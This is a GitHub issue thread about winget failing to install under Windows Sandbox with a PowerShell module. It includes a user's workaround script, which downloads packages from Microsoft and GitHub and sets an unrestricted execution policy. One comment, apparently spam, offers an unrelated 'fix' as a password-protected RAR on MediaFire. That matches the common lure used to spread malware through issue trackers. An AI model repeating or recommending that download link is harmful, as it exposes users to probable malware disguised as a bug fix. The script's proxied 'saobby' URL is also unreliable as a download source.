Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Bug]: Fails to install if you are using Windows Sandbox for testing. #25

Open
2 of 5 tasks
skadlec72 opened this issue Aug 27, 2024 · 1 comment
Open
2 of 5 tasks
Assignees
Labels
bug Something isn't working triage new issue that needs review

Comments

@skadlec72
Copy link

Describe the problem

Fails to install all requirements.
Running this script works:
set-executionpolicy unrestricted -force -scope CurrentUser
$progressPreference = 'silentlyContinue'
$latestWingetMsixBundleUri = $(Invoke-RestMethod https://api.github.com/repos/microsoft/winget-cli/releases/latest).assets.browser_download_url | Where-Object { $_.EndsWith(".msixbundle") }
$latestWingetMsixBundle = $latestWingetMsixBundleUri.Split("/")[-1]
Write-Information "Downloading winget to artifacts directory..."
Invoke-WebRequest -Uri $latestWingetMsixBundleUri -OutFile $env:TEMP$latestWingetMsixBundle
Invoke-WebRequest -Uri https://github.com/microsoft/microsoft-ui-xaml/releases/download/v2.8.6/Microsoft.UI.Xaml.2.8.x64.appx -OutFile $env:TEMP\Microsoft.UI.Xaml.2.8.x64.appx
Invoke-WebRequest -Uri https://aka.ms/Microsoft.VCLibs.x64.14.00.Desktop.appx -OutFile $env:TEMP\Microsoft.VCLibs.x64.14.00.Desktop.appx
Add-AppxPackage $env:TEMP\Microsoft.VCLibs.x64.14.00.Desktop.appx
Add-AppxPackage $env:TEMP\Microsoft.UI.Xaml.2.8.x64.appx
Add-AppxPackage $env:TEMP$latestWingetMsixBundle
winget search microsoft --accept-source-agreements

Expectation

Install the lasted versions of the requirements and winget.

Additional Information

install-winget
Add-AppxPackage : Deployment failed with HRESULT: 0x80073CF3, Package failed updates, dependency or conflict validation.
Windows cannot install package Microsoft.DesktopAppInstaller_1.23.1911.0_x64__8wekyb3d8bbwe because this package depends on a
framework that could not be found. Provide the framework "Microsoft.UI.Xaml.2.8" published by "CN=Microsoft Corporation,
O=Microsoft Corporation, L=Redmond, S=Washington, C=US", with neutral or x64 processor architecture and minimum version
8.2310.30001.0, along with this package to install.
NOTE: For additional information, look for [ActivityId] 07c5f442-ef52-000b-3cde-c60752efda01 in the Event Log or use the command
line Get-AppPackageLog -ActivityID 07c5f442-ef52-000b-3cde-c60752efda01
At C:\Program Files\WindowsPowerShell\Modules\wingettools\1.7.0\functions\Install-Winget.ps1:68 char:13

  •         Add-AppxPackage -Path $file -ErrorAction Stop
    
  •         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : WriteError: (C:\Users\WDAGUT...bbwe.msixbundle:String) [Add-AppxPackage], IOException
    • FullyQualifiedErrorId : DeploymentError,Microsoft.Windows.Appx.PackageManager.Commands.AddAppxPackageCommand

PowerShell version

5.1

Platform

Windows 11 Pro or Enterprise

Additional Checks

  • You are using the latest version of this module.
  • You have read this repository's README file.
  • You have read full help and examples for the command you are having problems with.
  • You are running PowerShell in an elevated session.
  • You are running in a traditional PowerShell console or Windows Terminal
@skadlec72 skadlec72 added bug Something isn't working triage new issue that needs review labels Aug 27, 2024
@FabrizioValenti
Copy link

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

@jdhitsolutions
Copy link
Owner

Windows Sandbox, despite its name, is not always the best thing for testing. It is missing key elements like the MS Store. But I will take a look. I have some code that I might be able to add.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working triage new issue that needs review
Projects
None yet
Development

No branches or pull requests

4 participants
@jdhitsolutions @skadlec72 @FabrizioValenti and others